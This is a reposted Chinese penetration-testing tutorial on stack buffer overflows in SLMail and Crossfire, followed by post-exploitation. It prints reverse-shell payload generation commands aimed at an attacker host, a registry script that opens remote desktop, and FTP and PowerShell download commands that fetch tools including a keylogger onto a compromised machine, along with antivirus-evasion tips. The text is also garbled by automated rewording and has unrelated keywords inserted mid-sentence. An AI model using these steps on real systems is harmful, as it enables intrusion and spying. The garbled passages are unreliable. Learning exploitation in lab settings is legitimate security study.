首页 >系统教程 >LINUX >Linux渗透测试教程:手把手教你栈溢出从入门到放弃

Linux渗透测试教程:手把手教你栈溢出从入门到放弃

WBOY
WBOY转载
2024-02-02 09:36:02557浏览

笔记内容参考安全牛课堂苑房弘老师的KaliLinux渗透测试教程

所有漏洞的症结均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,因为变量传入畸形数据或程序运行错误,致使缓冲区被“撑暴”,进而覆盖了相邻显存区域的数据,成功更改显存数据,可导致进程绑架,执行恶意代码,获取服务器控制权等后果。

为更好理解缓冲区溢出原理,参考笔者转载的文章:

手把手教你栈溢出从入门到舍弃(上)

手把手教你栈溢出从入门到舍弃(下)

文章目录

一、发现漏洞的方式(一)源码审计

软件开发人员,或则借助社工等方法获取源码进行审查、调试。条件严苛,通常源码无法获取。

(二)逆向工程(ReverseEngineering)

借助逆向工程获取汇编源码进行剖析,汇编代码剖析工作量大,难度高。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(三)模糊测试(Fuzzing)

是一种通过向目标系统提供非预期的输入并监视异常结果来发觉软件漏洞的方式,一般情况下会使用一个有效的输入和添加随机偏差来完成,须要利用软件调试工具(如:ImmunityDebugger)。

二、模糊测试过程

首先要了解一些针对缓冲区溢出的安全保护技术,由于在模糊测试过程中要避开这种保护机制。

(一)Windows

测试软件为’SLMail5.5.0MailServer’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)

1.借助python脚本测试PASS命令接收到大量数据时是否会溢出,通常到3000个字符尚未出现溢出现象则说明该处应当不存在溢出漏洞。

2.发觉溢出漏洞后,判定EIP对应的地址,基本方式有:二分法、唯一字符串法。惟一字符串法可以借助metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb3000生成。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3.将EIP更改为Shellcode对应的显存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。

4.通过调试工具发觉,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因而我们将Shellcode放在ESP的位置。

5.判定ESP地址到栈底的距离linux防缓冲区溢出,即可以储存Shellcode的大小。借助python脚本向软件发送数据测试,通过调试软件看有多少数据储存在ESP指向的空间。现代计算机系统进程的显存空间视图如图所示:

图1进程的显存空间视图

6.由于ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因而硬编码不可行,变通思路在显存中找寻地址固定的系统模块,在模块中找寻JMPESP指令的地址跳转,再由该指令间接跳转到ESP,进而执行shellcode,借助mona.py脚本辨识显存模块,搜索“returnaddress”是JMPESP指令的模块,找寻不受DEP、ASLR机制保护的系统模块!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令jmpesp转换为二补码为FFE4,在模块中搜索FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在地址后,将该地址填入EIPlinux版qq,构造Shellcode,且去除坏字符:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b“x00x0ax0d

注:构造Shellcode时选择的payload是reverse反向联接,而不是直连bind,这样可以避免防火墙的封堵策略。

7.最后开启端口窃听nc-vlp443,Shellcode执行结束后以ExitProcess方法退出整个进程,将造成短信服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方法可以防止整个服务崩溃,可实现重复溢出:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”

注:不同类型的程序、协议、漏洞,会将个别字符觉得是坏字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出现坏字符。发送0x00—0xff256个字符,查找所有坏字符。借助metasploit脚本./msfencode可以编码坏字符。

8.假如要进一步控制功击目标,可以通过更改注册表开启远程桌面,Windows中90%以上的配置都可以通过更改注册表完成:

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(二)Linux

测试软件为’Crossfire’,1.9.0在接受入站socket联接时存在缓存区溢出漏洞。基本思路同WindowsFuzzing(调试工具用edb),不再赘言,需注意以下几点:

1.调试命令:edb--run/usr/games/crossfire/bin/crossfire

2.在验证缓冲区溢出时发觉只有当payload固定4368字节时能够确切覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因而在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。

三、选择和更改EXP

网上有针对各类软件早已公布漏洞的借助代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或更改,尤其是Shellcode不能轻易使用linux防缓冲区溢出,有可能带有病毒linux系统应用,须要把握的编程语言一般包括Python、C、C++、Ruby等。几个可靠的EXP源:

领到EXP后,须要注意以下几点:

四、后漏洞借助阶段

包括上传工具、提权、擦除功击痕迹、安装侧门等进一步操作,这儿仅讨论文件上传操作,文件上传是预置木马、安装侧门的基础,主要依据早已取得的目标操作系统的shell,进行文件上传操作。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上是Linux渗透测试教程:手把手教你栈溢出从入门到放弃的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文转载于:itcool.net。如有侵权,请联系admin@php.cn删除